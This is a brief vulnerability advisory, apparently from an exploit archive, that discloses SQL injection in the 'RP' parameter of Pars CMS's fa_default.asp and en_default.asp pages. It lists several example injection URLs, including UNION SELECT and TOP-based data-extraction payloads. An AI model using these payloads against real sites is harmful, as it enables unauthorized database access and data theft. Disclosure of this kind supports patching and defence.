Pars CMS 'RP' Parameter Multiple SQL Injection Vulnerabilities

==============================================================
Pars CMS 'RP' Parameter Multiple SQL Injection Vulnerabilities
==============================================================

Vulnerable:  	 Virtual Develop Pars CMS 0


Description:

------------------

Pars CMS is a CMS producer in Iran. "fa_default.asp" and "en_default.asp"
pages in Pars CMS

product are vulnerable to SQL Injection vulnerability.

Vulnerability Variant:

------------------

Injection "fa_default.asp","en_default.asp" in "RP" parameter.

http://www.example.com/fa_default.asp?RP='

http://www.example.com/fa_default.asp?RP=\'

http://www.example.com/fa_default.asp?RP=UNION SELECT 1,1,1 FROM
validtblname%00

http://www.example.com/fa_default.asp?RP=' AND (SELECT TOP 1 'someData'
FROM validTableName)%00

http://www.example.com/fa_default.asp?RP=' UNION SELECT TOP 3 AttrName FROM
validTableName%00




#  0day.today [2018-03-19]  #